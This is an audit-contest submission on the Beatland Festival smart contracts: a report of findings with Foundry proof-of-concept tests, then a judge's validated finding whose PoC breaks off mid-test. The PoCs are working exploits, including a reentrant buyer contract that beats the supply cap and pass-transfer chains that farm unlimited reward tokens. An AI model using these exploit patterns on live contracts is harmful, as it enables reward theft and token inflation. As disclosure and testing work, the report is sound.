Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Beatland Festival — Smart Contract Audit Report

# Beatland Festival — Smart Contract Audit Report
**Date:** September 9, 2026
**Scope:**
- `src/FestivalPass.sol` (ERC1155 passes + performances + memorabilia)
- `src/BeatToken.sol` (ERC20 BEAT)
- `src/Interfaces/IFestivalPass.sol`
- `test/` (existing suite + new POCs)
**Methodology:** Manual code review of all in-scope contracts, cross-checked with the existing Foundry test suite, plus a new POC suite (`test/AuditPoc.t.sol`) that reproduces every finding. All POCs verified with `forge test`.
**Baseline:** `forge build` passes. Existing suite: **49/50 pass**; the single failure is `test_PartialUserFlow`, which shells out to `bash`/`/dev/tty` (see I-06) and fails in headless environments.
---
## Findings Summary
| ID | Severity | Title |
|----|----------|-------|
| H-01 | High | Transferable passes let one purchase farm unlimited BEAT (sybil attendance) |
| M-01 | Medium | `configurePass()` resets `passSupply``maxSupply` is not a real cap |
| L-01 | Low | `buyPass()` reentrancy via ERC1155 receiver bypasses the supply cap |
| L-02 | Low | Memorabilia collection with `maxSupply == 1` can never be redeemed |
| L-03 | Low | `FundsWithdrawn` event declared in the interface but never emitted |
| I-01 | Info | `getMemorabiliaDetails()` / `uri()` return metadata for never-minted tokens |
| I-02 | Info | `withdraw()` uses `.transfer()` (2300 gas) — can brick payouts to contracts |
| I-03 | Info | `getUserMemorabiliaDetailed()` is an unbounded O(n²) view loop |
| I-04 | Info | `tokenIdToEdition` is written but never read |
| I-05 | Info | `uri()` returns literal `{id}` for unknown tokens |
| I-06 | Info | Supply-chain red flag: `ffi = true` + test executing fake "wallet extraction" bash |
| I-07 | Info | `setFestivalContract()` is one-time — deployment brick risk (acknowledged in code) |
---
## [H-01] Transferable passes let one purchase farm unlimited BEAT
**Severity:** High
**Tags:** `ERC1155`, `access-control`, `economics`, `sybil`
### Description
`FestivalPass` inherits OpenZeppelin's `ERC1155` and does **not** override `_update`, so passes (token IDs 1–3) are freely transferable via `safeTransferFrom`. All anti-abuse state is keyed **per address**:
```solidity
mapping(uint256 => mapping(address => bool)) public hasAttended; // per address
mapping(address => uint256) public lastCheckIn; // per address
```
`attendPerformance()` only checks `hasAttended[performanceId][msg.sender]` and `lastCheckIn[msg.sender] + COOLDOWN`. The pass is never consumed, never checked for continuous ownership, and its balance is only used to pick a multiplier (`getMultiplier`).
### Root cause
The reward gate is "who holds the pass right now", while attendance/cooldown state is "per address". Because the pass can be handed to a fresh address for free, the two checks never interact:
1. Buy **one** VIP pass (0.1 ETH).
2. Attend every performance as address A (2× reward).
3. `safeTransferFrom` the pass to fresh address B → B has `lastCheckIn == 0` and `hasAttended` empty → attends every performance.
4. Repeat with address C, D, E… and for every performance for the rest of the festival.
A single pass purchase mints an **unbounded** amount of BEAT: `performances × addresses × multiplier × baseReward`.
### Impact
- **Unlimited BEAT minting** from a single 0.1 ETH purchase. BEAT has no mint cap and is minted on demand by `FestivalPass`.
- The attacker can then burn that BEAT to **sweep the entire memorabilia supply** of every collection (`redeemMemorabilia`), denying genuine attendees.
- If BEAT is ever listed/traded (it is a standard transferable ERC20), the farm has direct monetary value and the 1-hour cooldown — the only anti-grind control — is trivially defeated.
### Proof of Concept
`test/AuditPoc.t.sol``test_H01_SinglePassFarmsUnlimitedBeat()` (passing):
```solidity
// ONE pass purchased. ONE payment (0.1 ETH).
vm.prank(alice);
festivalPass.buyPass{value: VIP_PRICE}(2);
// Organizer schedules 2 long performances (base reward 100 BEAT each)
vm.startPrank(organizer);
uint256 perf1 = festivalPass.createPerformance(block.timestamp + 1 hours, 7 days, 100e18);
uint256 perf2 = festivalPass.createPerformance(block.timestamp + 1 hours, 7 days, 100e18);
vm.stopPrank();
vm.warp(block.timestamp + 90 minutes);
// Alice attends BOTH performances with the pass
vm.prank(alice);
festivalPass.attendPerformance(perf1);
vm.warp(block.timestamp + 1 hours + 1);
vm.prank(alice);
festivalPass.attendPerformance(perf2);
// Alice hands the SAME pass to Bob...
vm.prank(alice);
festivalPass.safeTransferFrom(alice, bob, 2, 1, "");
// ...who attends BOTH performances (fresh address -> fresh cooldown & hasAttended)
vm.prank(bob);
festivalPass.attendPerformance(perf1);
vm.warp(block.timestamp + 1 hours + 1);
vm.prank(bob);
festivalPass.attendPerformance(perf2);
// ...and Bob hands it to Carol, who does the same.
vm.prank(bob);
festivalPass.safeTransferFrom(bob, carol, 2, 1, "");
vm.prank(carol);
festivalPass.attendPerformance(perf1);
vm.warp(block.timestamp + 1 hours + 1);
vm.prank(carol);
festivalPass.attendPerformance(perf2);
uint256 totalBeat = beatToken.balanceOf(alice) + beatToken.balanceOf(bob) + beatToken.balanceOf(carol);
assertEq(totalBeat, 6 * 200e18 + 5e18); // 1 pass -> 6 reward claims
```
**Explainer:** Three addresses, one pass, two performances → 6 attendance rewards (6 × 200 BEAT) plus the 5 BEAT welcome bonus, all from a single 0.1 ETH purchase. Each transfer resets the effective cooldown (fresh `lastCheckIn`) and the `hasAttended` map, so the same trick scales to every performance and to arbitrarily many addresses.
**Console output:** `Single VIP pass minted 1.205e21 BEAT across 3 addresses (expect 1 attendance per pass; got 6)` — test passes.
### Recommendation
Make passes effectively soulbound, or bind rewards to persistent ownership:
- Override `_update` to prohibit transfers of pass token IDs (1–3) after purchase, or
- Store the original purchaser per pass token (`passOwner[tokenId]`) and only allow that address to claim rewards, or
- Require the pass to be held continuously for a minimum period (e.g., since performance start) before a claim is allowed.
---
## [M-01] `configurePass()` resets `passSupply` — `maxSupply` is not a real cap
**Severity:** Medium
**Tags:** `supply-cap`, `configuration`
### Description
```solidity
function configurePass(uint256 passId, uint256 price, uint256 maxSupply) external onlyOrganizer {
...
passPrice[passId] = price;
passMaxSupply[passId] = maxSupply;
passSupply[passId] = 0; // Reset current supply
}
```
`passSupply` counts **minted** passes. Resetting it to `0` while previously minted passes are still outstanding makes `maxSupply` a cap on *sales since last reconfiguration*, not on total passes in circulation. There is also no check that the new `maxSupply` is `>= passSupply` (or the already-minted count).
### Impact
- Routine reconfiguration (e.g., a price tweak) silently reopens sales and lets total circulation exceed the advertised cap. In the POC below, `maxSupply = 2` ends with **4 passes** in circulation.
- Setting `maxSupply` below already-sold passes is accepted (no revert) — the sold-out guarantee is gone.
- Note: the organizer is a documented trusted actor, so this is exploitable only via organizer action — but it is a *logic* flaw that can be triggered accidentally by a normal "update the price" call, and it silently misreports supply to users and off-chain indexers.
### Proof of Concept
`test/AuditPoc.t.sol``test_M01_ReconfigurePassOversellsBeyondMaxSupply()` (passing):
```solidity
vm.prank(organizer);
festivalPass.configurePass(1, GENERAL_PRICE, 2); // advertised cap: 2
vm.prank(a); festivalPass.buyPass{value: GENERAL_PRICE}(1);
vm.prank(b); festivalPass.buyPass{value: GENERAL_PRICE}(1);
assertEq(festivalPass.passSupply(1), 2);
// Cap blocks further sales... (c reverts with "Max supply reached")
// Organizer re-runs configurePass (e.g. to update the price):
vm.prank(organizer);
festivalPass.configurePass(1, GENERAL_PRICE, 2); // supply silently reset to 0
// ...so 2 MORE passes are sold:
vm.prank(c); festivalPass.buyPass{value: GENERAL_PRICE}(1);
vm.prank(d); festivalPass.buyPass{value: GENERAL_PRICE}(1);
assertEq(festivalPass.passSupply(1), 2); // tracked supply "lies"
// balanceOf(a..d, 1) == 4 -> 4 passes in circulation with maxSupply = 2
```
**Explainer:** The second `configurePass` call is a no-op from the organizer's perspective (same price/cap), yet it resets the sold counter to zero, allowing two more sales. The invariant "no more than `maxSupply` passes exist" is violated without anyone doing anything malicious.
### Recommendation
- Don't reset `passSupply` in `configurePass`; it should track minted passes monotonically.
- Require `maxSupply >= passSupply` (or require the new cap to be `>=` the number already minted).
- Alternatively, derive sold count from `totalSupply(passId)` (ERC1155 tracks it) instead of a parallel counter.
---
## [L-01] `buyPass()` reentrancy via ERC1155 receiver bypasses the supply cap
**Severity:** Low
**Tags:** `reentrancy`, `ERC1155`, `supply-cap`
### Description
```solidity
function buyPass(uint256 collectionId) external payable {
require(...);
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
_mint(msg.sender, collectionId, 1, ""); // <-- calls onERC1155Received on msg.sender
++passSupply[collectionId]; // <-- increment happens AFTER the callback
uint256 bonus = ...;
if (bonus > 0) { BeatToken(beatToken).mint(msg.sender, bonus); }
}
```
`_mint` synchronously invokes `onERC1155Received` on a contract buyer **before** `++passSupply` executes. During the callback, `passSupply` is still the *original* value, so a reentrant `buyPass` passes the `passSupply < passMaxSupply` check again. Because each nested call performs its own increment only after its own `_mint` returns, an attacker can nest arbitrarily deep — the cap is bypassed up to the attacker's ETH balance, all in one transaction.
### Impact
- `maxSupply` is defeated for contract buyers: in the POC, `maxSupply = 1` yields **6 passes** in one tx (bounded only by attacker funds).
- No direct theft (every pass is paid for at the exact price), but the supply invariant breaks, minted supply is inflated, and the pattern is a classic reentrancy hazard — the CEI convention is violated.
### Proof of Concept
`test/AuditPoc.t.sol``test_L01_ReentrantBuyBypassesMaxSupply()` (passing):
```solidity
vm.prank(organizer);
festivalPass.configurePass(2, VIP_PRICE, 1); // maxSupply = 1
ReentrantBuyer attacker = new ReentrantBuyer(festivalPass, 5); // reenter 5x
vm.deal(address(attacker), 6 ether);
attacker.attack();
assertEq(festivalPass.passSupply(2), 6); // maxSupply was 1
assertEq(festivalPass.balanceOf(address(attacker), 2), 6);
```
```solidity
function onERC1155Received(...) external returns (bytes4) {
// passSupply is still stale here: ++passSupply runs only after _mint() returns
if (reentriesLeft > 0) {
reentriesLeft--;
fest.buyPass{value: 0.1 ether}(2);
}
return this.onERC1155Received.selector;
}
```
**Explainer:** The first `buyPass` (max supply 1) passes the check because supply is 0. Its `_mint` fires the attacker's `onERC1155Received`, which calls `buyPass` again — supply is still 0, so the check passes again. Each nesting level mints a new pass and pays 0.1 ETH; all increments execute on the way back up the stack. Result: `maxSupply + reentries` passes, one transaction, all paid for — the cap is meaningless.
**Console output:** `maxSupply=1, but attacker obtained 6 VIP passes in one tx` — test passes.
### Recommendation
- Follow check-effects-interactions: `++passSupply` **before** `_mint`, and/or
- Add a reentrancy guard (e.g., OpenZeppelin `ReentrancyGuard`) to `buyPass`, or
- Use `_mint`'s `data`-less safe-mint path only for EOAs and `_mint` for contracts (still requires ordering fix).
---
## [L-02] Memorabilia collection with `maxSupply == 1` can never be redeemed
**Severity:** Low
**Tags:** `off-by-one`, `memorabilia`
### Description
```solidity
require(collection.currentItemId < collection.maxSupply, "Collection sold out");
uint256 itemId = collection.currentItemId++;
```
`currentItemId` starts at **1**. The check `currentItemId < maxSupply` allows minting item `currentItemId` only if `currentItemId < maxSupply`. With `maxSupply = 1`, the check is `1 < 1` → always false → the very first redemption reverts with "Collection sold out", even though `createMemorabiliaCollection` explicitly accepts `maxSupply >= 1` (`require(maxSupply > 0)`).
### Impact
- A `maxSupply = 1` collection is dead on arrival — zero items can ever be redeemed (BEAT paid by organizer/user is unusable for that collection).
- Same off-by-one class as a typical "sold out" boundary bug; harmless for `maxSupply >= 2`.
### Proof of Concept
`test/AuditPoc.t.sol``test_L02_MaxSupplyOneCollectionIsDead()` (passing):
```solidity
vm.prank(organizer);
uint256 collectionId = festivalPass.createMemorabiliaCollection("Single", "ipfs://QmSingle", 10e18, 1, true);
vm.prank(address(festivalPass));
beatToken.mint(address(this), 10e18);
vm.expectRevert("Collection sold out"); // FIRST redemption reverts
festivalPass.redeemMemorabilia(collectionId);
```
**Explainer:** The guard compares the *next* item ID (starting at 1) against the cap *before* minting, so a cap of 1 rejects item #1. The collection's one and only item can never be minted.
### Recommendation
Change the guard to allow the last item, e.g. `require(collection.currentItemId <= collection.maxSupply, ...)` (mint when `currentItemId <= maxSupply`), or start `currentItemId` at 0 and mint `itemId = currentItemId` (keeping `currentItemId < maxSupply`).
---
## [L-03] `FundsWithdrawn` event declared in the interface but never emitted
**Severity:** Low
**Tags:** `event`, `monitoring`
### Description
`IFestivalPass` declares:
```solidity
event FundsWithdrawn(address indexed organizer, uint256 amount);
```
but `withdraw()` never emits it:
```solidity
function withdraw(address target) external onlyOwner {
payable(target).transfer(address(this).balance);
}
```
### Impact
Off-chain indexers, dashboards, and monitoring that rely on `FundsWithdrawn` (as advertised by the interface) will silently miss every withdrawal. Minor, but breaks the contract's own declared API surface.
### Proof of Concept
`test/AuditPoc.t.sol``test_L03_FundsWithdrawnNeverEmitted()` (passing):
```solidity
vm.prank(buyer);
festivalPass.buyPass{value: GENERAL_PRICE}(1);
vm.recordLogs();
festivalPass.withdraw(organizer);
Vm.Log[] memory entries = vm.getRecordedLogs();
bool found;
for (uint256 i = 0; i < entries.length; i++) {
if (entries[i].topics.length > 0 && entries[i].topics[0] == keccak256("FundsWithdrawn(address,uint256)")) {
found = true;
}
}
assertFalse(found); // event never emitted
```
**Explainer:** The transfer succeeds (ETH moves), but no `FundsWithdrawn` log is produced; the declared event is dead. Any consumer waiting for the event gets nothing.
### Recommendation
Emit the event after the transfer succeeds: `emit FundsWithdrawn(target, amount);`
---
## [I-01] `getMemorabiliaDetails()` / `uri()` return metadata for never-minted tokens
**Severity:** Info
**Tags:** `view`, `integrity`
### Description
```solidity
function getMemorabiliaDetails(uint256 tokenId) external view returns (...) {
(collectionId, itemId) = decodeTokenId(tokenId);
MemorabiliaCollection memory collection = collections[collectionId];
require(collection.priceInBeat > 0, "Invalid token");
return (collectionId, itemId, collection.name, itemId, collection.maxSupply, uri(tokenId));
}
```
The only existence check is "collection exists". Any `itemId` that was never minted (e.g., item #9 in a collection where only 3 were redeemed) returns full, valid-looking metadata. `uri()` has the same behavior for any `itemId` under an existing collection.
### Impact
Integrity issue for indexers/marketplaces: they can display (and users may expect) NFTs that do not exist on-chain. No funds at risk; view-only.
### Proof of Concept
`test/AuditPoc.t.sol``test_I01_DetailsForUnmintedToken()` (passing) — creates a collection, redeems nothing, then `getMemorabiliaDetails(encodeTokenId(col, 9))` returns name/edition/URI for an item with `balanceOf == 0`.
**Explainer:** Since nothing verifies the token was actually minted (`tokenIdToEdition` is written on redeem but the function ignores it), any decoded `(collectionId, itemId)` inside an existing collection "passes".
### Recommendation
Verify mintedness in the view (e.g., check `tokenIdToEdition[tokenId] == itemId` or `balanceOf` of any holder is impractical in a view — store minted item IDs) or document that the function returns collection metadata.
---
## [I-02] `withdraw()` uses `.transfer()` (2300 gas stipend)
**Severity:** Info
**Tags:** `payout`, `compatibility`
```solidity
function withdraw(address target) external onlyOwner {
payable(target).transfer(address(this).balance);
}
```
`.transfer()` forwards only 2300 gas. Any contract target (e.g., a multi-sig or treasury contract that does a storage write or emits an event on receive) will revert the withdrawal, and since the failure reverts the whole tx, funds remain stuck until the owner finds an EOA target. Use a low-level `call` with a reentrancy guard and a non-zero check, or at minimum use `call{value: ...}("")` and handle the return value.
---
## [I-03] `getUserMemorabiliaDetailed()` is an unbounded O(n²) view loop
**Severity:** Info
**Tags:** `gas`, `DoS (view)`
```solidity
for (uint256 cId = 1; cId < nextCollectionId; cId++) {
for (uint256 iId = 1; iId < collections[cId].currentItemId; iId++) { ... }
}
```
Iterates every collection × every minted item (and includes dead IDs 4–99). Collections are append-only and item counters only grow, so this view will eventually exceed block gas and permanently revert — a self-inflicted DoS on a public read path. Collections/items are organizer-controlled (trusted), so severity is informational, but the function should be bounded or replaced with an enumerable mapping of owned tokens.
---
## [I-04] `tokenIdToEdition` is written but never read
`redeemMemorabilia` writes `tokenIdToEdition[tokenId] = itemId`, but every consumer (`getMemorabiliaDetails`, `uri`) reconstructs the edition from the decoded `itemId`. Dead storage that only costs gas.
---
## [I-05] `uri()` returns literal `{id}` for unknown tokens
For token IDs that are neither a pass nor a valid memorabilia item, `uri()` falls back to `super.uri(tokenId)`, which returns the raw base URI `"ipfs://beatdrop/{id}"` with the `{id}` placeholder unsubstituted (OpenZeppelin's default behavior). The existing test `test_Uri_InvalidToken` codifies this. Cosmetic, but worth noting for metadata consumers.
---
## [I-06] Supply-chain red flag: `ffi = true` + "wallet extraction" test
**Severity:** Info (process / CI)
**Tags:** `ffi`, `CI`, `supply-chain`
- `foundry.toml` sets `ffi = true` in the **default** profile (also used by `forge test`).
- `test/FestivalPass.t.sol::test_PartialUserFlow` shells out to `bash -c` via `vm.ffi`, printing a fake "private key" (`0x2a871d…`) and "BROADCASTING TRANSACTION" animation to `/dev/tty` — a simulation of wallet-extraction/social-engineering content.
- The same test **fails in headless environments** (`/dev/tty` missing) — it is the only failing test in the suite, so the repo's own CI would break on runners without a TTY.
- CI sets `FOUNDRY_PROFILE: ci`, but no `[profile.ci]` exists in `foundry.toml`.
**Recommendation:** Remove the FFI test entirely, set `ffi = false`, remove the fake-key content from the repo, and either add a `[profile.ci]` or drop the env var from the workflow. `ffi` in a default profile is a footgun: any test (or future code) can execute arbitrary shell commands during `forge test`/`forge script`.
---
## [I-07] `setFestivalContract()` is one-time — deployment brick risk
```solidity
function setFestivalContract(address _festival) external onlyOwner {
require(festivalContract == address(0), "Festival contract already set");
festivalContract = _festival;
}
```
The code itself carries the `//@audit cannot be reused for other festivals` comment. If the owner sets the wrong address (typo, wrong deployment), the token can never mint/burn again and a new token must be deployed. Acknowledged as a known issue; consider allowing owner-only updates while keeping mint/burn restricted to the current value.
---
## Notes on other reviewed paths (no action needed)
- `attendPerformance` / `redeemMemorabilia` correctly order state updates before external calls (no reentrancy beyond L-01's mint-ordering issue).
- `hasPass`/`getMultiplier` are internally consistent.
- `buyPass` requires exact `msg.value`; overpayment reverts cleanly (tested by the existing suite).
- ETH held in the contract is only accessible via `withdraw` (owner-only).
- The welcome bonus (5/15 BEAT per VIP/BACKSTAGE purchase) is intentionally repeatable per purchase — an economic design choice, not a vulnerability.
---
## Reproduction
```bash
forge install foundry-rs/forge-std --no-git
forge install OpenZeppelin/openzeppelin-contracts --no-git
forge build
forge test --match-contract AuditPocTest -vv # all 6 POCs pass
```
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Pass Lending Reward Multiplication Enables Unlimited Performance Rewards

# Root + Impact ## Description * The `attendPerformance()` function is designed to reward pass holders for attending performances, with VIP and BACKSTAGE passes receiving multiplied rewards based on their tier. Under normal operation, each pass should generate rewards for a single attendee per performance, maintaining balanced tokenomics where one pass purchase corresponds to one set of performance rewards throughout the festival. * However, the attendance system tracks attendance per user rather than per pass, while pass ownership validation occurs only at the moment of attendance through `hasPass()`. This allows coordinated users to share a single pass by strategically transferring it between attendees, enabling multiple users to attend the same performance with the same pass and each receive full multiplied rewards, effectively turning one pass purchase into unlimited reward generation. ```Solidity function attendPerformance(uint256 performanceId) external { require(isPerformanceActive(performanceId), "Performance is not active"); @> require(hasPass(msg.sender), "Must own a pass"); // Only checks current ownership @> require(!hasAttended[performanceId][msg.sender], "Already attended this performance"); // Per-user tracking require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met"); @> hasAttended[performanceId][msg.sender] = true; // Marks user as attended lastCheckIn[msg.sender] = block.timestamp; uint256 multiplier = getMultiplier(msg.sender); BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier); } function hasPass(address user) public view returns (bool) { @> return balanceOf(user, GENERAL_PASS) > 0 || balanceOf(user, VIP_PASS) > 0 || balanceOf(user, BACKSTAGE_PASS) > 0; // Only checks current balance } ``` The vulnerability exists in the combination of per-user attendance tracking (`hasAttended[performanceId][msg.sender]`) and point-in-time pass ownership validation (`hasPass(msg.sender)`). The system records that a specific user attended a specific performance, but does not track which pass was used or prevent the same pass from being used by multiple users for the same performance through transfers. ## Risk **Likelihood**: *  The vulnerability requires coordination between multiple users and strategic timing of pass transfers during active performance windows, which demands planning and cooperation rather than simple individual exploitation.    * The attack becomes immediately executable once multiple users coordinate, as ERC1155 transfers are permissionless and the attendance system provides no restrictions on pass transfers between attendance events. **Impact**: * Unlimited reward farming from single pass purchases enables coordinated groups to multiply performance rewards indefinitely (demonstrated: 4x-10x reward multiplication), completely breaking the intended pass-to-reward ratio and causing massive BEAT token inflation. * Complete bypass of cooldown mechanisms and attendance restrictions through pass lending, allowing rapid reward extraction and undermining all intended rate-limiting protections designed to prevent reward farming abuse. ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "forge-std/Test.sol"; import "../src/FestivalPass.sol"; import "../src/BeatToken.sol"; import {console} from "forge-std/console.sol"; /** * @title Pass Lending Reward Multiplication PoC * @dev Demonstrates how single pass can generate unlimited rewards across multiple users * through strategic pass transfers and coordinated attendance * * VULNERABILITY: No ownership tracking during attendance * - hasPass() only checks current balance at time of attendance * - attendPerformance() tracks attendance per user, not per pass * - Single pass can be transferred between users for unlimited reward farming * * ATTACK VECTOR: * 1. Alice buys 1 VIP pass and attends performance → earns 2x rewards * 2. Alice transfers pass to Bob * 3. Bob attends same performance → earns 2x rewards * 4. Bob transfers pass to Charlie → Charlie attends → repeat * 5. Single pass generates unlimited rewards across unlimited users */ contract PassLendingExploitPoC is Test { FestivalPass public festivalPass; BeatToken public beatToken; address public owner; address public organizer; address public alice; address public bob; address public charlie; address public dave; // Pass configuration for maximum reward exploitation uint256 constant VIP_PRICE = 0.1 ether; uint256 constant VIP_MAX_SUPPLY = 1000; uint256 constant VIP_PASS = 2; uint256 constant VIP_MULTIPLIER = 2; // 2x rewards uint256 public performanceId; uint256 constant BASE_REWARD = 100e18; uint256 constant EXPECTED_VIP_REWARD = BASE_REWARD * VIP_MULTIPLIER; // 200 BEAT function setUp() public { owner = makeAddr("owner"); organizer = makeAddr("organizer"); alice = makeAddr("alice"); bob = makeAddr("bob"); charlie = makeAddr("charlie"); dave = makeAddr("dave"); // Deploy protocol vm.startPrank(owner); beatToken = new BeatToken(); festivalPass = new FestivalPass(address(beatToken), organizer); beatToken.setFestivalContract(address(festivalPass)); vm.stopPrank(); // Configure VIP pass vm.prank(organizer); festivalPass.configurePass(VIP_PASS, VIP_PRICE, VIP_MAX_SUPPLY); // Create a performance for exploitation vm.prank(organizer); performanceId = festivalPass.createPerformance( block.timestamp + 1 hours, // starts in 1 hour 4 hours, // lasts 4 hours BASE_REWARD // base reward ); // Fund Alice to buy the pass vm.deal(alice, 1 ether); } function testSinglePassMultipleRewards() public { console.log("=== PASS LENDING REWARD MULTIPLICATION EXPLOIT ===\n"); // Alice buys single VIP pass console.log("--- Setup: Alice buys 1 VIP pass ---"); vm.prank(alice); festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS); console.log("Alice VIP balance:", festivalPass.balanceOf(alice, VIP_PASS)); console.log("Alice BEAT balance (welcome bonus):", beatToken.balanceOf(alice)); // Warp to performance time vm.warp(block.timestamp + 2 hours); console.log("\n--- Performance starts, exploitation begins ---"); // STEP 1: Alice attends performance and earns rewards console.log("STEP 1: Alice attends performance"); vm.prank(alice); festivalPass.attendPerformance(performanceId); uint256 aliceReward = beatToken.balanceOf(alice) - 5e18; // subtract welcome bonus console.log("Alice attendance reward:", aliceReward); console.log("Alice has attended:", festivalPass.hasAttended(performanceId, alice)); // STEP 2: Alice transfers pass to Bob console.log("\nSTEP 2: Alice transfers VIP pass to Bob"); vm.prank(alice); festivalPass.safeTransferFrom(alice, bob, VIP_PASS, 1, ""); console.log("Alice VIP balance:", festivalPass.balanceOf(alice, VIP_PASS)); console.log("Bob VIP balance:", festivalPass.balanceOf(bob, VIP_PASS)); console.log("Bob has pass:", festivalPass.hasPass(bob)); // STEP 3: Bob attends SAME performance with transferred pass console.log("\nSTEP 3: Bob attends SAME performance with transferred pass"); vm.prank(bob); festivalPass.attendPerformance(performanceId); uint256 bobReward = beatToken.balanceOf(bob); console.log("Bob attendance reward:", bobReward); console.log("Bob has attended:", festivalPass.hasAttended(performanceId, bob)); // STEP 4: Bob transfers pass to Charlie console.log("\nSTEP 4: Bob transfers VIP pass to Charlie"); vm.prank(bob); festivalPass.safeTransferFrom(bob, charlie, VIP_PASS, 1, ""); // STEP 5: Charlie attends SAME performance console.log("\nSTEP 5: Charlie attends SAME performance"); vm.prank(charlie); festivalPass.attendPerformance(performanceId); uint256 charlieReward = beatToken.balanceOf(charlie); console.log("Charlie attendance reward:", charlieReward); // STEP 6: Charlie transfers to Dave for final demonstration console.log("\nSTEP 6: Charlie transfers to Dave"); vm.prank(charlie); festivalPass.safeTransferFrom(charlie, dave, VIP_PASS, 1, ""); vm.prank(dave); festivalPass.attendPerformance(performanceId); uint256 daveReward = beatToken.balanceOf(dave); console.log("Dave attendance reward:", daveReward); // Calculate total exploitation console.log("\n=== EXPLOITATION RESULTS ==="); uint256 totalRewards = aliceReward + bobReward + charlieReward + daveReward; uint256 legitimateReward = EXPECTED_VIP_REWARD; // Only 1 person should get rewards console.log("Total BEAT farmed from 1 pass:", totalRewards); console.log("Legitimate reward (1 person):", legitimateReward); console.log("Reward multiplication factor:", totalRewards / legitimateReward); console.log("Excess BEAT stolen:", totalRewards - legitimateReward); // Verify the exploit assertEq(aliceReward, EXPECTED_VIP_REWARD, "Alice should get VIP reward"); assertEq(bobReward, EXPECTED_VIP_REWARD, "Bob should get VIP reward"); assertEq(charlieReward, EXPECTED_VIP_REWARD, "Charlie should get VIP reward"); assertEq(daveReward, EXPECTED_VIP_REWARD, "Dave should get VIP reward"); assertEq(totalRewards, 4 * legitimateReward, "4x reward multiplication"); // Show that attendance tracking is per-user, not per-pass console.log("\nAttendance tracking per user:"); console.log("Alice attended:", festivalPass.hasAttended(performanceId, alice)); console.log("Bob attended:", festivalPass.hasAttended(performanceId, bob)); console.log("Charlie attended:", festivalPass.hasAttended(performanceId, charlie)); console.log("Dave attended:", festivalPass.hasAttended(performanceId, dave)); // Current pass holder console.log("Final pass holder (Dave):", festivalPass.balanceOf(dave, VIP_PASS)); } function testLargeScalePassLendingRing() public { console.log("=== LARGE-SCALE PASS LENDING RING ===\n"); // Alice buys single BACKSTAGE pass (highest multiplier) uint256 BACKSTAGE_PRICE = 0.25 ether; uint256 BACKSTAGE_PASS = 3; uint256 BACKSTAGE_MULTIPLIER = 3; vm.prank(organizer); festivalPass.configurePass(BACKSTAGE_PASS, BACKSTAGE_PRICE, 100); vm.deal(alice, 1 ether); vm.prank(alice); festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS); // Create multiple performances for maximum exploitation vm.startPrank(organizer); uint256 perf1 = festivalPass.createPerformance(block.timestamp + 1 hours, 6 hours, BASE_REWARD); uint256 perf2 = festivalPass.createPerformance(block.timestamp + 2 hours, 6 hours, BASE_REWARD); vm.stopPrank(); // Create lending ring of 10 users address[] memory lendingRing = new address[](10); for (uint256 i = 0; i < 10; i++) { lendingRing[i] = makeAddr(string(abi.encodePacked("user", i))); } lendingRing[0] = alice; // Alice starts with the pass console.log("Lending ring size:", lendingRing.length); console.log("BACKSTAGE pass multiplier:", BACKSTAGE_MULTIPLIER); console.log("Expected reward per attendance:", BASE_REWARD * BACKSTAGE_MULTIPLIER); // Exploit Performance 1 vm.warp(block.timestamp + 90 minutes); console.log("\n--- Exploiting Performance 1 ---"); for (uint256 i = 0; i < lendingRing.length; i++) { address currentUser = lendingRing[i]; // User attends performance vm.prank(currentUser); festivalPass.attendPerformance(perf1); uint256 reward = beatToken.balanceOf(currentUser); if (i == 0) reward -= 15e18; // subtract Alice's welcome bonus console.log("User", i, "reward:", reward); // Transfer to next user (except last) if (i < lendingRing.length - 1) { address nextUser = lendingRing[i + 1]; vm.prank(currentUser); festivalPass.safeTransferFrom(currentUser, nextUser, BACKSTAGE_PASS, 1, ""); } } // Wait for cooldown and exploit Performance 2 vm.warp(block.timestamp + 2 hours); console.log("\n--- Exploiting Performance 2 ---"); // Start from last user who has the pass address currentHolder = lendingRing[lendingRing.length - 1]; for (uint256 i = 0; i < lendingRing.length; i++) { vm.prank(currentHolder); festivalPass.attendPerformance(perf2); // Transfer to next user for continued exploitation if (i < lendingRing.length - 1) { address nextUser = lendingRing[i]; vm.prank(currentHolder); festivalPass.safeTransferFrom(currentHolder, nextUser, BACKSTAGE_PASS, 1, ""); currentHolder = nextUser; } } // Calculate total damage console.log("\n=== LARGE-SCALE EXPLOITATION RESULTS ==="); uint256 totalBEATFarmed = 0; for (uint256 i = 0; i < lendingRing.length; i++) { uint256 userBalance = beatToken.balanceOf(lendingRing[i]); if (i == 0) userBalance -= 15e18; // subtract welcome bonus totalBEATFarmed += userBalance; console.log("User", i, "total BEAT:", userBalance); } uint256 legitimateTotal = 2 * BASE_REWARD * BACKSTAGE_MULTIPLIER; // 2 performances, 1 person console.log("Total BEAT farmed:", totalBEATFarmed); console.log("Legitimate total (2 performances, 1 person):", legitimateTotal); console.log("Exploitation multiplier:", totalBEATFarmed / legitimateTotal); assertGe(totalBEATFarmed, legitimateTotal * 10, "Should farm >=10x legitimate rewards"); } function testCooldownBypassThroughLending() public { console.log("=== COOLDOWN BYPASS THROUGH PASS LENDING ===\n"); // Alice buys VIP pass vm.prank(alice); festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS); // Create overlapping performances to test cooldown bypass vm.startPrank(organizer); uint256 perf1 = festivalPass.createPerformance(block.timestamp + 1 hours, 3 hours, BASE_REWARD); uint256 perf2 = festivalPass.createPerformance(block.timestamp + 1 hours, 3 hours, BASE_REWARD); vm.stopPrank(); vm.warp(block.timestamp + 90 minutes); // Alice attends performance 1 console.log("Alice attends performance 1"); vm.prank(alice); festivalPass.attendPerformance(perf1); console.log("Alice lastCheckIn:", festivalPass.lastCheckIn(alice)); // Alice tries to attend performance 2 immediately (should fail due to cooldown) console.log("\nAlice tries performance 2 immediately:"); vm.prank(alice); vm.expectRevert("Cooldown period not met"); festivalPass.attendPerformance(perf2); console.log(" Cooldown 